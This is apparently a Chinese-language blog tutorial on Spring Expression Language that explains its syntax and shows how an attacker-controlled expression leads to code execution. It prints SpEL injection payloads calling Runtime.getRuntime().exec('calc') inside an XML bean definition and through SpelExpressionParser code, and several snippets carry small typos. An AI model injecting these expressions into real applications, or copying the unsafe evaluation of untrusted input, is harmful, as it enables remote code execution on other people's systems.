一.基础信息

SpEL(Spring Expression Language)是 Spring 框架提供的一种表达式语言,用于在运行时解析和计算表达式。它强大且灵活, 可以使用 Bean 的 ID 来引用 Bean ,可以动态地操作对象、调用方法、访问属性,甚至处理复杂逻辑。
SpEL 就是一个动态表达式语言,用来让你的代码更灵活地与对象属性、方法、集合、逻辑等内容交互。在 Spring 框架中,它广泛用于动态解析值和条件逻辑。

二.SPEL用法和安全隐患

SPEL存在三种用法 分别可以在xml中、@Value注解中、和最后一种在代码中直接使用 Expression,
这里我就直接挑安全方面的讲了。
首先先了解一下SPEL的定界符#{},什么是定界符呢?我用我理解最简单的话讲就是,它用于标记动态表达式让 Spring 解析和计算,如果不适用定界符#{},那么他本是什么那就是什么,下面我们举个例子,首先我们创建一个类(图一),在上面基础信息中我们讲到可以使用Bean的id来引用Bean,下面我们创建一个xml(代码一),
我们看代码二中
使用 ClassPathXmlApplicationContext 加载 XML 配置文件。
在配置文件中通过 <bean> 定义对象及其注入的属性。
使用 getBean 方法获取实例化好的对象并调用其方法执行业务逻辑。
其实在加载XML的时候就已经产生漏洞了前提是1.xml可以控制,在看XML的时候会不理解`T(Type)`
这个运算符简单点理解就是该类型表达式来操作类,那么这就很危险了,在我们使用`T(Type)`的时候必须使用全限定名 java.lang.Class,但是这里需要注意的是java.lang下面是不需要全限定名的当然你写了也可以,那么很巧合Runtime就在下面如。
T(Runtime).getRuntime.exec('clac')

<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
 xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
 xsi:schemaLocation="http://www.springframework.org/schema/beans
 http://www.springframework.org/schema/beans/spring-beans-3.0.xsd ">
    <bean id="Dome" class="com.example.spel.demos.web.Dome">
        <property name="name" value="#{'--执行'} is #{777} #{1e4} #{T(java.lang.Runtime).getRuntime.exec('calc')}" />
    </bean>
</beans>
//xml形式
ClassPathXmlApplicationContext classPathXmlApplicationContext = new ClassPathXmlApplicationContext("1.xml");
Dome dome = classPathXmlApplicationContext.getBean("Dome", Dome.class);
下面我们讲一下直接使用 Expression,其实也很简单分别是创建解析解,传入表达式,可选上下文不写默认是StandardEvaluationContext,获取并且执行表达式,下面我们举个例子先不写上下文(代码一),接着我们看第二个例子字符(代码二),接着我们使用可选上下文(代码三)又看到我们不认识的了没关系很单.concat(#info)
创建变量info,在下一行中设置上下文info变量。
SpelExpressionParser spelExpressionParser1 = new SpelExpressionParser(); //创建解析器
Expression expression = spelExpressionParser1.parseExpression("1+2");//传入表达式
Object value = (int)expression.getValue(); //获取并且执行表达式
System.out.println(value);
//返回结果3
SpelExpressionParser spelExpressionParser2 = new SpelExpressionParser(); //创建解析器
Expression expression1 = spelExpressionParser2.parseExpression("'Hello World'"); //传入表达式
String string = (String) expression1.getValue(); //获取并且执行表达式
System.out.println(string);
//返回结果Hello World
SpelExpressionParser spelExpressionParser4 = new SpelExpressionParser(); //创建解析器
Expression expression3 = spelExpressionParser4.parseExpression("('你好'+'你也好').concat(#info)"); //传入表达式设置变量info
StandardEvaluationContext standardEvaluationContext = new StandardEvaluationContext(); //创建上下文可选
standardEvaluationContext.setVariable("info", "世界");                      //设置上下文
System.out.println(expression3.getValue(standardEvaluationContext));  //获取并且执行表达式
到这里我们其实也就能想到了,如果我们传入的表达式可以控制,那么就会造成代码执行,我们依旧引入上面的知识(代码一,图一),
下面也分别打印了我们上面所说的案例。
//除了java.lang下面的可以不写,其他需要写全
String name = "T(Runtime).getRuntime().exec(\"calc\")";
SpelExpressionParser spelExpressionParser5 = new SpelExpressionParser();
Expression expression4 = spelExpressionParser5.parseExpression(name);
Object value1 = expression4.getValue();
System.out.println(value1);

如果从安全角度来讲其实知识也不多,但是从开发角度就不止这些了,还有一种就是在注解@Value中我就不讲了,
感兴趣的朋友可以系统学习一下SPEL表达式。